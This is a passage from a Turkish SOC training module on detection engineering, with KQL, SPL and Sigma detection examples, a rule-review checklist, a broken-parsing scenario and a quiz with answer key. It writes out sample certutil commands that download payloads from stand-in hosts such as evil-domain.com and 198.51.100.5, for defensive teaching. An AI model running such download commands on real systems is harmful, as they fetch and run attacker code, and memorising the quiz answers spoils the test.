2. Veri kaynağı yeterliliği: kuralın çalışması için gereken log geliyor mu?

3. Tuning kalitesi: kural çalışıyor ama false positive oranı kabul edilemez yüksek mi?

6.4 Detection Gap ile Görünmeyen Alanları Belirleme

Detection gap, coverage analizinin negatif sonucudur: kurumun tespit edemediği tehdit teknikleri, eksik log kaynakları veya zayıf korelasyon alanları. Gap belirleme, SOC’un nereye yatırım yapması gerektiğini gösterir: yeni kural mı yazılmalı, yoksa önce eksik log kaynağı mı tamamlanmalı?

Önceliklendirme şu sorularla yapılır:

Bu teknik kurumun tehdit profiline uyuyor mu?
Bu tekniği kullanan saldırganlar kurumun sektörünü hedef alıyor mu?
Bu tekniği tespit etmek için gerekli log mevcut mu?
Yoksa önce log altyapısı mı iyileştirilmeli?

6.5 Rule Ownership ile Kural Sahipliğini Yönetme

Her detection kuralının bir sahibi olmalıdır. Sahipsiz kural bakımı yapılmaz, güncellenmeyen sahipsiz kural zamanla anlamsız alarm üretir veya sessizleşir; her iki durum da operasyonel risktir.

Alan	Açıklama ve Yönetimsel Değeri
Kural Adı	Kısa, açıklayıcı ve standart bir adlandırma konvansiyonuna sahip başlık (Örn: `SUSP_Lnx_ReverseShell_Egress`).
Owner	Kuralın bakımından, performansından ve güncellenmesinden sorumlu olan analist veya Detection Engineer.
Tarih Bilgisi	Oluşturma ve son güncelleme tarihleri; kuralın güncelliğini ve sürüm takibini sağlar.
Veri Kaynağı	Kuralın ihtiyaç duyduğu log kaynakları (Örn: Sysmon, CloudTrail, Nginx Logs). Veri kesintilerinde kuralın devre dışı kalıp kalmadığını anlamayı sağlar.
MITRE Eşlemesi	Saldırganın hangi tekniğine (TTP) odaklanıldığını belirtir (Örn: `T1053.005 - Scheduled Task`).
Beklenen Davranış	Kuralın mantığı; hangi olaylar dizisi gerçekleştiğinde alarm üretileceğinin net tanımı.
Bilinen False Positive	Kuralı tetikleyebilecek meşru iş süreçleri (Örn: Sistem yöneticisinin rutin yedekleme görevleri). Analistin hızlı eleme yapmasını sağlar.
Alarm Hacmi	Son 30 gündeki toplam tetiklenme sayısı; kuralın "gürültü" yapıp yapmadığını gösterir.
True Positive Oranı	Üretilen alarmların ne kadarının gerçek bir tehdit olduğu; kuralın hassasiyetini ve kalitesini ölçer.

6.6 Detection Backlog ile Yeni Tespit Fikirlerini Önceliklendirme

Detection backlog, yazılmayı bekleyen yeni detection fikirlerinin yönetildiği listedir. Her fikirden hemen kural yazmak mümkün değildir; kaynak sınırlıdır ve bazı fikirler diğerlerinden daha değerlidir.

Önceliklendirme kriterleri şunlardır:

Risk yüksekliği: Bu teknik kuruma karşı kullanılırsa ne kadar zarar verebilir?

Veri uygunluğu: Gerekli log kaynağı mevcut mu? Yoksa önce log altyapısı mı hazırlanmalı?

İş etkisi: Bu tekniği tespit edememek kurumun hangi varlığını tehdit ediyor?

Saldırı olasılığı: Bu teknik yakın zamanda kurumun sektörüne yönelik saldırılarda kullanıldı mı?

Geliştirme süresi: Bu kuralı yazmak ne kadar zaman alır? Yüksek öncelikli ama uzun süren bir kural, düşük öncelikli ama hızlı geliştirilebilecek kuralları tamamen bloke etmemelidir.

Komut & Araç Okuryazarlığı

Örnek 1: KQL ile Scheduled Task Oluşturma Alarmı (Microsoft Sentinel)

Komut :

    SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 4698
| project TimeGenerated, Computer, SubjectUserName, TaskName, TaskContent, SubjectLogonId
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| sort by TimeGenerated desc

Platform : Microsoft Sentinel — KQL

Amaç: Sistemdeki standart servis hesapları dışındaki kullanıcılar tarafından oluşturulan zamanlanmış görevleri (Event ID 4698) son 24 saatlik pencerede raporlayarak, yetkisiz kalıcılık sağlama girişimlerini tespit eder.

Beklenen çıktı:

Microsoft Sentinel - Logs - Scheduled Task Creation Audit

// Zamanlanmış Görev Oluşturma Analizi (Event ID 4698) SecurityEvent | where TimeGenerated > ago(24h) | where EventID == 4698 // A scheduled task was created | project TimeGenerated, Computer, SubjectUserName, TaskName, TaskContent, SubjectLogonId | where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE") | sort by TimeGenerated desc --- Detection Results --- TimeGenerated Computer SubjectUserName TaskName ------------- -------- --------------- -------- 2026-05-12 21:15:02 WS-OFFICE-04 Emre UpdateCheck_X 2026-05-12 18:30:45 SRV-PROD-01 Admin_User HealthReport_Svc # Güvenlik Analizi: "SYSTEM" dışındaki bir kullanıcının görev oluşturması her zaman incelenmelidir. Özellikle "Emre" gibi bir standart kullanıcının cihazında "UpdateCheck_X" isimli bir görev oluşması şüphelidir. # Kritik Kontrol: "TaskContent" alanını inceleyin (XML formatındadır). İçerisinde "powershell.exe", "cmd.exe" veya uzak bir IP adresine giden bir bağlantı komutu olup olmadığını kontrol edin. # Teknik Not: Eğer "TaskName" boş geliyorsa, "EventData" kolonundaki XML verisini "parse_xml()" fonksiyonu ile ayrıştırarak gizli verilere erişebilirsiniz.

Unutma: Bazı Sentinel/Log Analytics ortamlarında TaskName ve TaskContent doğrudan kolon olarak gelmeyebilir. Bu alanlar EventData / XML içinden parse edilmelidir. Production sorgusu yazmadan önce ham event şeması doğrulanmalıdır.

Dikkat edilecek noktalar:

SubjectUserName: Beklenmedik kullanıcı mı? Örnek: testuser persistence oluşturuyor mu?

TaskName: Anlamsız veya gizlenmeye çalışan isimler var mı? Örnek: WindowsUpdate, SystemCheck gibi meşru görünmeye çalışan isimler.

Computer: Hangi sistemde? Kritik bir varlık mı?

TaskContent: Hangi komut çalıştırılıyor? Genellikle XML formatında gelir veya ham EventData içinde bulunur.

Normal durum:
BT ekibinin ya da bir uygulama kurulumunun tanımlı ve beklenen task’lar oluşturması. Task adı ve çalıştırdığı komut kurumun bilinen süreçleriyle uyumlu.

Şüpheli durum:
Kullanıcı testuser tarafından \Temp\ dizininden bir binary çalıştıran task.

Gece yarısı oluşturulmuş, IT ekibinin haberi olmayan task.

PowerShell -encodedCommand içeren task komutu.

Yanlış yapılandırma / veri kalitesi problemi:
TaskContent alanı boş veya null geliyorsa önce event’in ham XML/EventData içeriği kontrol edilmelidir. Ham event içinde task XML’i varsa sorun audit policy değil, SIEM parsing veya field extraction problemidir. Event hiç gelmiyorsa scheduled task event’lerinin üretilmesi için gerekli Audit Other Object Access Events yapılandırması kontrol edilmelidir.

Yorum:
Event ID 4698 her kurumda yüzlerce meşru task tarafından üretilebilir. SYSTEM ve servis hesabı filtrelemesi gürültüyü azaltır ama tam ortadan kaldırmaz. TaskContent alanı veya ham EventData mutlaka incelenmelidir; task adı tek başına yanıltıcıdır.

Örnek 2: SPL ile Living off the Land Tespiti — Certutil Kullanımı (Splunk)

Komut :

index=windows_logs sourcetype=WinEventLog:Security EventCode=4688 New_Process_Name="*certutil.exe*"
| eval cmd_lower=lower(Process_Command_Line)
| where like(cmd_lower, "%http%")
| where match(cmd_lower, "urlcache|split|\\-f")
| table _time, ComputerName, Account_Name, New_Process_Name,
        Process_Command_Line, Creator_Process_Name

Platform : Splunk — SPL sorgusu

Amaç: Sistemde meşru bir Windows bileşeni olan certutil.exe'nin ağ üzerinden dosya indirme veya veriyi parçalama gibi şüpheli parametrelerle kullanımını denetleyerek LotL saldırılarını raporlar.

Beklenen çıktı:

Splunk Enterprise - LotL Detection (Certutil)

// Certutil İstismar Tespiti: Dış Kaynaktan Dosya İndirme Analizi index=windows_logs sourcetype=WinEventLog:Security EventCode=4688 New_Process_Name="*certutil.exe*" | eval cmd_lower=lower(Process_Command_Line) | where like(cmd_lower, "%http%") | where match(cmd_lower, "urlcache|split|\-f") | table _time, ComputerName, Account_Name, Process_Command_Line, Creator_Process_Name --- Detection Results --- Computer Account Process_Command_Line -------- ------- -------------------- SRV-APP-01 Guest certutil.exe -urlcache -f http://evil-domain.com/malware.exe C:\Temp\m.exe WS-FIN-12 Emre certutil.exe -urlcache -split -f https://pastebin.com/raw/XYZ payload.txt # Güvenlik Analizi: Bir sertifika aracının "http" protokolüyle dış dünyaya erişmesi ve "-urlcache" parametresini kullanması %99 oranında şüphelidir. Bu yöntem, firewall kurallarını meşru bir Microsoft aracıyla aşmak için kullanılır. # Kritik Kontrol: "Creator_Process_Name" sütununu inceleyin. Eğer certutil, "cmd.exe" veya "powershell.exe" tarafından tetiklenmişse, bu bir saldırganın manuel müdahalesini veya zararlı bir scriptin çalıştığını gösterir. # Teknik İpucu: "-f" (Force) parametresi, dosyanın üzerine yazılmasını zorlamak için kullanılır. Saldırganlar genellikle önbelleği temizlemek ve yeni payload'u indirmek için bu flag'i tercih ederler.

Dikkat edilecek noktalar:

Process_Command_Line: Hangi URL’den ne indiriliyor?

Creator_Process_Name: Certutil’i kim başlattı? cmd.exe mi, powershell.exe mi? Daha ilginç olarak winword.exe veya excel.exe başlattıysa makro kaynaklı olabilir.

Account_Name: Servis hesabı mı, normal kullanıcı mı?

Normal durum:
Meşru sertifika yönetimi sırasında certutil bazı durumlarda URL, CRL veya sertifika altyapısıyla ilişkili adreslerle çalışabilir. Ancak bu davranış genellikle belirli PKI yönetim sistemlerinde, beklenen admin hesaplarıyla ve belirli hedeflerle sınırlıdır.

Şüpheli durum:
Kullanıcı endpoint’inde, beklenmedik parent process altında, dış HTTP/HTTPS hedefinden dosya indiren certutil kullanımı.

Örnek şüpheli kalıp:

certutil -urlcache -split -f http://198.51.100.5/payload.exe C:\Temp\payload.exe

Bu örnek yalnızca savunmacı analiz amacıyla verilmiştir; canlı sistemde çalıştırma amacı taşımaz.

Yanlış yapılandırma / veri kalitesi problemi:
Process_Command_Line alanı boş ise Windows’ta “Include command line in process creation events” politikası aktif olmayabilir veya command line alanı doğru parse edilmiyor olabilir. Bu durumda kural ateşlense bile komut görülmez ve analiz false positive riskiyle yapılmak zorunda kalınır.

Yorum:
Bu kural belirli bir LOLBin kullanımını hedef alır. certutil.exe + URL + indirme amaçlı parametre kombinasyonu güçlü bir sinyaldir; yine de ComputerName, kullanıcı, parent process, hedef URL ve kurumun PKI süreçleri değerlendirilmeden otomatik kapatılmamalıdır.

Örnek 3: Sigma Kuralı Okuma — Password Spraying Tespiti (Kavramsal)

Komut :

Aşağıdaki yapı, password spraying mantığını anlatmak için kavramsal bir Sigma-benzeri örnektir. Gerçek Sigma correlation kuralı yazılırken kullanılan Sigma sürümü, backend dönüştürücü ve desteklenen correlation syntax ayrıca kontrol edilmelidir.

title: Password Spraying via Windows Authentication Failure
name: password_spraying_windows_auth_failure
id: 11111111-1111-4111-8111-111111111111
status: stable
description: >
    Detects password spraying by identifying many failed authentication
    attempts against multiple accounts from a single source within a short timeframe.
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4625
        LogonType: 3
    condition: selection
falsepositives:
    - Legitimate tools with bad credentials configured
    - Automated processes with expired passwords
level: high
tags:
    - attack.credential_access
    - attack.t1110.003

Correlation mantığı kavramsal olarak şu şekilde düşünülür:

  correlation:
  type: value_count
  rules:
    - password_spraying_windows_auth_failure
  group-by:
    - IpAddress
  timespan: 10m
  condition:
    field: TargetUserName
    gte: 10

Platform : Sigma / Sigma correlation mantığı — platform-agnostik kural formatı

Amaç:Sigma kuralının hangi davranışı hedeflediğini, false positive kaynaklarını ve MITRE eşlemesini okuyarak anlama.

Sigma Rule Viewer - Password Spraying Detection

# Metadata: Kuralın Kimliği ve Amacı title: Password Spraying via Windows Authentication Failure level: high // Yüksek öncelikli bir alarm # Logsource: Verinin Nereden Geldiği logsource: product: windows service: security // Windows Security loglarını izle # Detection: Hangi Veriyi Filtreliyoruz? detection: selection: EventID: 4625 // Başarısız oturum açma LogonType: 3 // Ağ üzerinden (Network) giriş denemesi # Correlation: Saldırı Desenini Belirleyen Mantık correlation: type: value_count group-by: IpAddress // Her bir IP'yi ayrı değerlendir timespan: 10m // 10 dakikalık bir pencere içinde condition: field: TargetUserName gte: 10 // 10 veya daha fazla FARKLI kullanıcı adı # MITRE ATT&CK Mapping tags: - attack.t1110.003 // Password Spraying tekniği

Amaç: Tek bir kaynak IP'den kısa sürede çok sayıda farklı kullanıcı hesabına yönelik başarısız oturum açma denemelerini (Logon Type 3) korele ederek Password Spraying saldırılarını tespit eder.

Dikkat edilecek noktalar:

logsource: Bu kural Windows Security log’dan besleniyor; bu kaynağın SIEM’de mevcut olup olmadığı kontrol edilmeli.

selection: Event ID 4625 ve LogonType 3 — ağ üzerinden başarısız giriş.

LogonType 3: Local başarısız girişleri dışarıda bırakır; ağ tabanlı spraying’e odaklanır.

correlation: Aynı IP’den kısa sürede çok sayıda farklı hedef kullanıcıya başarısız giriş aranır. Bu eşik kuruma göre kalibre edilmelidir.

falsepositives: IT sistemlerinde eski parola saklı kalmış otomatik araçlar veya servislerin oluşturduğu false positive kaynakları.

level: High olarak verilmiş; ancak false positive potansiyeli düşük değildir, tuning gerektirebilir.

Normal durum:
Aynı IP’den 2-3 farklı hesaba başarısız giriş sonrası başarılı giriş: muhtemelen kullanıcı parola yanlış girmiş veya küçük çaplı meşru hata.

Şüpheli durum:
Aynı IP’den 30 dakikada 50 farklı hesaba 1’er deneme: klasik password spraying pattern.

Yorum:
Sigma kuralı bir platform bağımsız blueprint’tir. Bu kuralı Splunk, Sentinel veya Elastic gibi platformlara çevirmek için kullanılan dönüştürücülerin correlation desteği ayrıca kontrol edilmelidir. Kural yazılırken falsepositives alanını doldurmak, tuning kararları için rehber oluşturur.

Uygulama / Kontrol Listesi

Detection Kalitesi ve Kural Değerlendirme Kontrol Listesi

Bu kontrol listesi, SOC analistinin mevcut bir detection kuralını operasyonel olarak değerlendirmesini ve “bu kural güvenilir mi, tuning gerekiyor mu, yoksa emekliye mi ayrılmalı?” sorusuna sistematik olarak yanıt vermesini sağlar.

Hazırlık

Değerlendirilecek detection kuralının adı, SIEM’deki konumu, yazılış tarihi ve sahibi belirlenir.

Kuralın hedeflediği tehdit davranışı not alınır: hangi ATT&CK tekniğine karşılık geliyor?

Son 30 günlük alarm geçmişi SIEM’den çekilir.

Kontrol Adımları

Alarm Hacmi ve Kalitesi

Toplam Alarm Sayısı: Son 30 günde toplam kaç alarm üretildi?
Alarm Sınıflandırması: Bu alarmların kaçı True Positive (TP), kaçı False Positive (FP) olarak kapandı?
FP Oranı Hesaplaması: False positive oranı şu formül ile hesaplanır: FP / (FP + TP) x 100
Tuning ve Eşik Değer:
- False positive oranı çok yüksekse tuning gerekir.
- Kabul edilebilir eşik; kurumun risk iştahı ve use case kritikliğine göre belirlenmelidir.
Sıfır Alarm Analizi: Son 30 günde hiç alarm üretilmediyse:
- Veri kaynağı sağlıklı mı?
- Kural koşulları gerçek davranışla uyumlu mu?

Veri Kaynağı Kontrolü

Kuralın sorguladığı log kaynağı son 24 saatte SIEM’e veri gönderiyor mu?
İlgili kritik alanlar (command_line, src_ip, event_id) null oranı nedir?
Timestamp’ler ortak zaman standardında doğru geliyor mu?

Kural Mantığı Değerlendirmesi

Kural Kapsamı: Kural çok geniş yazılmış mı? (Tek bir alan koşulu, allowlist yokluğu veya çok düşük eşik buna örnektir.)
Meşru Aktivite Kontrolü: Kural meşru aktiviteyi kapsıyor mu? (IT araçları, backup servisleri, otomasyon hesapları buna örnektir.)
MITRE Uyumluluğu: Kuralın MITRE eşlemesi doğru mu ve güncel mi?
İstisna Yönetimi: Bilinen false positive kaynakları allowlist veya suppression ile kapsanmış mı?

Tuning Fırsatları

Sürekli False Positive Kaynakları: Hangi hesaplar, hostlar veya IP’ler sürekli false positive üretiyor? Bu varlıklar güvenli ise allowlist’e eklenebilir mi?
Eşik Değeri Analizi: Kuralın tetiklenme eşik değeri, mevcut ortamın normal aktivite hacmiyle uyumlu mu?
Suppression (Bastırma) Uygulaması: Gereksiz alarm yoğunluğunu önlemek için suppression uygulanabilir mi? (Örneğin: Aynı user-host kombinasyonu için 1 saatte bir alarm üretilmesi yeterli mi?)

Doğrulama

Son true positive alarm incelenerek kuralın gerçekten hedeflediği davranışı yakalayıp yakalamadığı teyit edilir.

Son false positive alarm incelenerek hangi meşru aktivitenin kuralı tetiklediği belirlenir.

Kural değişikliği yapılacaksa önce shadow mode’da test edilir; ardından production’a alınır.

Kanıt Notu

Her değerlendirme sonucu case management veya detection changelog’a şu formatta yazılır:

Bulgu: [Kural adı] kuralı son 30 günde [X] alarm üretti; bunların %[Y]’si false positive olarak kapandı. False positive’lerin büyük bölümü [açıklama] aktivitesinden kaynaklanıyor.

Etki: Yüksek false positive oranı analist zamanını tüketiyor ve alarm yorgunluğuna katkı sağlıyor. Gerçek tehdit geldiğinde bu kural dikkat çekemiyor olabilir.

Öneri: [Allowlist ekle / eşik değerini artır / suppression uygula / kuralı emekliye ayır / veri kaynağını düzelt] aksiyonu öneriliyor.

Kanıt: Son 30 gün SIEM alarm raporu (TP/FP dağılımı), örnek false positive alarm ekran görüntüsü.

Geri Dönüş / Dikkat Edilmesi Gerekenler

Risk Dengesi ve Dokümantasyon: Allowlist eklemek false positive’i düşürürken false negative riskini artırır; bu nedenle her exclusion (istisna) mutlaka belgelenmiş olmalıdır.
Yaşam Döngüsü Yönetimi: Kural emekliye ayrılıyorsa “deleted” değil “disabled” durumuna alınmalı; emekli edilme nedeni changelog’a (değişiklik günlüğü) işlenmelidir.
Tuning Sonrası İzleme: Tuning sonrası kural en az 7 gün boyunca izlenmelidir; alarm hacmindeki ani düşüş, yeni false negative’lerin oluştuğuna işaret ediyor olabilir.
Sahiplik ve Sorumluluk: Eğer kuralın bir sahibi yoksa, değerlendirme yapılmadan önce mutlaka bir kural sahibi atanmalıdır.

Operasyonel Senaryo

Senaryo: “Bu Kural Neden Bir Haftadır Alarm Üretmiyor?”

Belirti

SOC Lead, haftalık detection review toplantısında bir anomali fark eder: Sysmon Event ID 1 (process creation) tabanlı bir LOLBin tespit kuralı olan “Suspicious certutil File Download” kuralı, son 7 gündür hiç alarm üretmemiştir. Bir önceki ay aynı kural 12 alarm üretti ve bunların 3’ü true positive olarak kapandı.

Soru şudur: Gerçekten bu tür aktivite durdu mu, yoksa bir veri veya kural sorunu mu var?

İlk Düşünce

İki olasılık vardır:

1. Saldırgan aktivitesi gerçekten azaldı veya durdu. Bu mümkün ama doğrulamak gerekir.
2. Veri kaynağı problemi vardır. Sysmon logları gelmiyor, parsing bozuldu veya kural mantığı değiştirildi.

Analist ikinci olasılığı önce devre dışı bırakmak ister.

Kontrol Edilecek Noktalar

Sysmon Event ID 1 logları son 7 günde SIEM’e geliyor mu?

certutil.exe ile ilgili herhangi bir event son 7 günde görüldü mü?

Kural son 7 günde hiç değiştirildi mi? Changelog kontrol edildi mi?

Kuralın sorguladığı alanlar (Process_Command_Line, New_Process_Name) parse ediliyor mu?

Kullanılacak Log / Telemetri Kaynakları

SIEM’deki Sysmon log kaynağı (sourcetype veya data stream)

Connector health dashboard veya heartbeat sorgusu

Detection kural changelog

SIEM’de ham log sorgusu: certutil.exe içeren son event’ler

Bakılacak Alanlar

last_event_time: Kaynak için son event ne zaman geldi?

event_id = 1 olan toplam event sayısı: Son 7 gün için normal seviyede mi?

New_Process_Name alanı null oranı: Process adı parse ediliyor mu?

Process_Command_Line alanı null oranı: Command line alanı parse ediliyor mu?

SIEM Data Quality Audit - Field Extraction Analysis

SOC@SIEM:~$ # Sysmon Veri Akışı ve Doluluk Oranı Kontrolü SOC@SIEM:~$ stats count(Process_Command_Line) as filled, count as total where event_id=1 total: 78,452 (Events received) filled: 0 (Extraction failure)

SOC@SIEM:~$ # Ham Log İncelemesi (Raw Event vs. Parsed Fields) SOC@SIEM:~$ search index=sysmon event_id=1 | head 1 | table _raw, Process_Command_Line _raw: ... <Data Name='CommandLine'>certutil.exe -urlcache -split -f http://bad.com/s.exe</Data> ... Process_Command_Line: NULL

SOC@SIEM:~$ # Kök Neden: Değişiklik Yönetimi (Changelog) Kontrolü SOC@SIEM:~$ cat /opt/siem/etc/props.conf | grep -A 2 "sysmon" [sysmon] # MODIFIED 8 DAYS AGO: Regex pattern removed by mistake during update # EXTRACT-commandline = ... (Mevcut değil) # --- TESPİT VE ANALİZ NOTLARI --- # [!] Sorun: Veri geliyor ancak SIEM, "CommandLine" bilgisini "Process_Command_Line" alanına eşleyemiyor (parsing/extraction error). # [!] Etki: "certutil" kuralı bu alanı sorguladığı için kör nokta (blind spot) oluşmuştur. # [!] Aksiyon: Regex düzeltilmeli ve son 8 güne ait ham veriler tekrar indekslenmeli veya manuel retrohunt (geriye dönük tarama) yapılmalıdır. Durum: TEKNİK ARIZA - Detection Blind Spot İnceleyen: Detection Engineer / SOC Lead

Amaç: Bir tespit kuralının neden çalışmadığını; veri doluluk oranları (null counts), ham log karşılaştırması ve konfigürasyon değişiklikleri (props.conf) üzerinden analiz ederek veri kalitesi sorunlarını saptar.

Toplanacak Kanıt

SIEM connector health çıktısı: Son 7 gün Sysmon Event ID 1 saatlik dağılımı.

Ham log sorgusu: index=sysmon event_id=1 | head 5 ile son 5 event’in raw formatı.

Kural changelog: Son değişiklik tarihi ve değişiklik içeriği.

Process_Command_Line null oranı sorgusu çıktısı.

Analiz

Analist SIEM’de şu sorguyu çalıştırır:

 index=sysmon sourcetype=sysmon EventID=1 | timechart span=1d count

Çıktı: Son 7 günde her gün yaklaşık 8.000-12.000 Event ID 1 kaydı geliyor. Sysmon aktif ve event’ler düşüyor; connector sağlıklı.

Sonra Process_Command_Line alanını kontrol eder:

                        index=sysmon sourcetype=sysmon EventID=1
                        | stats count(Process_Command_Line) as filled,
                        count(eval(isnull(Process_Command_Line))) as null_count

Çıktı: filled=0, null_count=9847. Tüm event’lerde Process_Command_Line null geliyor.

Analist raw log’u inceler ve ham event’te komut satırı bilgisinin var olduğunu görür; ancak bu bilgi Process_Command_Line alanına düşmüyor. Demek ki field extraction bozulmuş.

Sysmon sourcetype tanımı incelendiğinde, 8 gün önce bir yapılandırma güncellemesinde props.conf dosyasında field extraction kuralının düzenlendiği görülür. Changelog’a bakılır: “Sysmon sourcetype güncellendi — yeni versiyona uyum” notu vardır. Güncelleme sırasında Process_Command_Line alanının regex extraction pattern’i yanlışlıkla kaldırılmıştır.

Sonuç: “Suspicious certutil File Download” kuralı Process_Command_Line alanını sorguluyor; alan null gelince kural hiç ateşlenmiyor. 8 gündür bu alan boş geldiğinden, bu süre içinde certutil kötüye kullanılmış olsaydı bile SOC göremiyor olurdu.

False Positive İhtimali

Yok. Sorun false positive değil, veri kalitesi problemidir. Kuralın detection mantığı doğru görünüyor olabilir; ancak production ortamında bağımlı olduğu Process_Command_Line alanı boş geldiği için kural operasyonel olarak sağlıklı çalışmamaktadır.

Escalation Gerekir mi?

Evet. Detection engineering ekibine hemen bildirilmelidir: Process_Command_Line extraction düzeltilmeli, son 8 güne retrohunt uygulanmalı ve bu sourcetype’a dayalı diğer kuralların da kontrol edilmesi gereklidir.

Karar

Kuralın detection mantığı doğru görünmektedir; ancak production ortamında bağımlı olduğu Process_Command_Line alanı boş geldiği için kural operasyonel olarak sağlıklı çalışmamaktadır. Sorun kural mantığından değil, Sysmon sourcetype field extraction konfigürasyonundan kaynaklanmaktadır. Acil düzeltme yapılmalı, düzeltme sonrası kural en az 24 saat izlenmeli ve geçmiş 8 gün için retrohunt başlatılmalıdır.

Bulgu → Etki → Öneri → Kanıt

Bulgu: “Suspicious certutil File Download” detection kuralı son 8 gündür alarm üretmemektedir. Araştırma, Sysmon Event ID 1 event’lerinde Process_Command_Line alanının bir sourcetype yapılandırma güncellemesi nedeniyle null geldiğini ortaya koymuştur.

Etki: Process_Command_Line alanını sorgulayan tüm LOLBin ve process creation tabanlı detection kuralları son 8 gün boyunca etkisiz kalmıştır. Bu sürede gerçekleşmiş olabilecek certutil, powershell, mshta, rundll32 veya benzer LOLBin aktiviteleri tespit edilememiş olabilir.

Öneri:
Sysmon sourcetype props.conf yapılandırması gözden geçirilerek Process_Command_Line field extraction kuralı derhal restore edilmelidir.
Düzeltme sonrası en az 24 saat izleme yapılmalıdır.
Aynı alanı kullanan diğer kuralların etkilenip etkilenmediği kontrol edilmelidir.
Son 8 gün için retrohunt başlatılarak certutil, mshta, rundll32, regsvr32, powershell ve benzer LOLBin kullanımı araştırılmalıdır.

Kanıt:
SIEM’de Process_Command_Line null_count = 9847 sorgusu ekran görüntüsü. Sourcetype changelog kaydı (8 gün önceki güncelleme). Connector health — Event ID 1 hacminin sağlıklı olduğunu gösteren timechart çıktısı. [Tarih/Saat | analyst01]

Terimler Sözlüğü

Terim / Teknoloji	Türkçe Karşılığı ve Teknik Fonksiyonu
SIEM	Güvenlik bilgilerini ve olayları merkezi olarak toplayan, korelasyon ve alarm üretimini yöneten analitik platformu.
KQL / SPL / AQL	Sırasıyla Microsoft (Kusto), Splunk ve IBM QRadar ekosistemlerinde veriyi sorgulamak ve analiz etmek için kullanılan diller.
EQL / ES\|QL	Elastic ekosisteminde; EQL olay zinciri (sequence) takibi için, ES\|QL ise gelişmiş pipeline tabanlı analitik sorgular için kullanılır.
YARA-L / UDM	Google SecOps (Chronicle) bünyesinde kullanılan yapılandırılmış tespit dili (YARA-L) ve ortak veri modeli (UDM).
Sigma & Sigma Correlation	Platformdan bağımsız, YAML tabanlı kural formatı. Farklı SIEM dillerine dönüştürülebilir ve zaman penceresi tabanlı korelasyonu destekler.
Detection Engineering	Tehdit davranışlarını kalıcı tespit kurallarına dönüştüren ve bu kuralların yaşam döngüsünü (Tuning, Testing) yöneten disiplin.
Detection Hypothesis	"Hangi saldırgan davranışını yakalamak istiyoruz?" sorusuyla başlayan, tespit çalışmasının temel varsayımı.
Tespit Yaklaşımları	Threshold: Sayısal eşik aşımı. Sequence: Belirli olay sırası. Anomaly/Rarity: Normalden sapma veya nadir görülen olaylar. Behavior-based: Araç yerine saldırgan örüntüsü.
False Positive / Negative	FP: Meşru eylemin yanlış alarm üretmesi. FN: Gerçek tehdidin tespit edilememesi (gözden kaçması).
Detection Gap & Coverage	Sırasıyla tespit edilemeyen "kör noktalar" ve kurumun tehditlere karşı koruma sağladığı "kapsama alanı".
Tuning & Allowlist	Kuralın kalitesini artırmak için yapılan kalibrasyon ve meşru trafiklerin kural dışı bırakılması işlemi.
Retrohunt & Shadow Mode	Yeni bir kuralın geçmiş loglarda test edilmesi (Retrohunt) veya üretim öncesi sessiz modda gözlemlenmesi (Shadow).
Saldırı Teknikleri (TTPs)	Persistence: Kalıcılık sağlama. Lateral Movement: Yanal yayılma. Exfiltration: Veri sızdırma. Credential Dumping: Kimlik bilgilerini çalma.
Living off the Land	Saldırganın tespit edilmemek için sistemin kendi meşru araçlarını (LOLBins) kullanması tekniği.

Kendini Değerlendir — SIEM ve Detection

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) «Kural tabanlı tespit mantığı» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) Kural tabanlı tespit mantığı için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) İnterneti kalıcı kapatmak

D) Tüm logları silmek

Doğru: B
Gerekçe: Eksik kalan «Kural tabanlı tespit mantığı» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

2) Bir stajyer «Use case önceliklendirme» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Sadece sınavda sorulursa öğrenilir

B) Yalnızca yöneticiler bilir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Araç adı yeterlidir

Doğru: C
Gerekçe: «Use case önceliklendirme» uygulama ve risk bağlamı olmadan anlamlı değildir.

3) «Threshold vs anomaly» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Threshold vs anomaly için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) Tüm logları silmek

C) Yalnızca antivirüs imzasını güncellemek

D) İnterneti kalıcı kapatmak

Doğru: A
Gerekçe: Eksik kalan «Threshold vs anomaly» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

4) Denetimde «Detection engineering yaşam döngüsü» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Başka modülün raporu

B) Politika, yapılandırma veya test sonucu ile uyum kanıtı

C) Sözlü «biliyoruz» ifadesi

D) Ekran görüntüsü olmadan varsayım

Doğru: B
Gerekçe: «Detection engineering yaşam döngüsü» denetlenebilir kanıt gerektirir.

5) «Sigma/YARA benzeri paylaşım» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) Tüm logları silmek

C) İnterneti kalıcı kapatmak

D) Sigma/YARA benzeri paylaşım için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Sigma/YARA benzeri paylaşım» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

6) «Tuning ve bastırma (suppression)» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) İnterneti kalıcı kapatmak

B) Tüm logları silmek

C) Yalnızca antivirüs imzasını güncellemek

D) Tuning ve bastırma (suppression) için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Tuning ve bastırma (suppression)» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

7) Av hipotezi: «PowerShell ile uzak indirme». Hangi ATT&CK taktik/teknik ailesine en yakındır?

A) Initial Access — Phishing yalnızca

B) Execution ve Command and Control davranışları

C) Backup encryption only

D) Physical destruction

Doğru: B
Gerekçe: Script çalıştırma ve uzak iletişim birden fazla taktikle ilişkilidir.

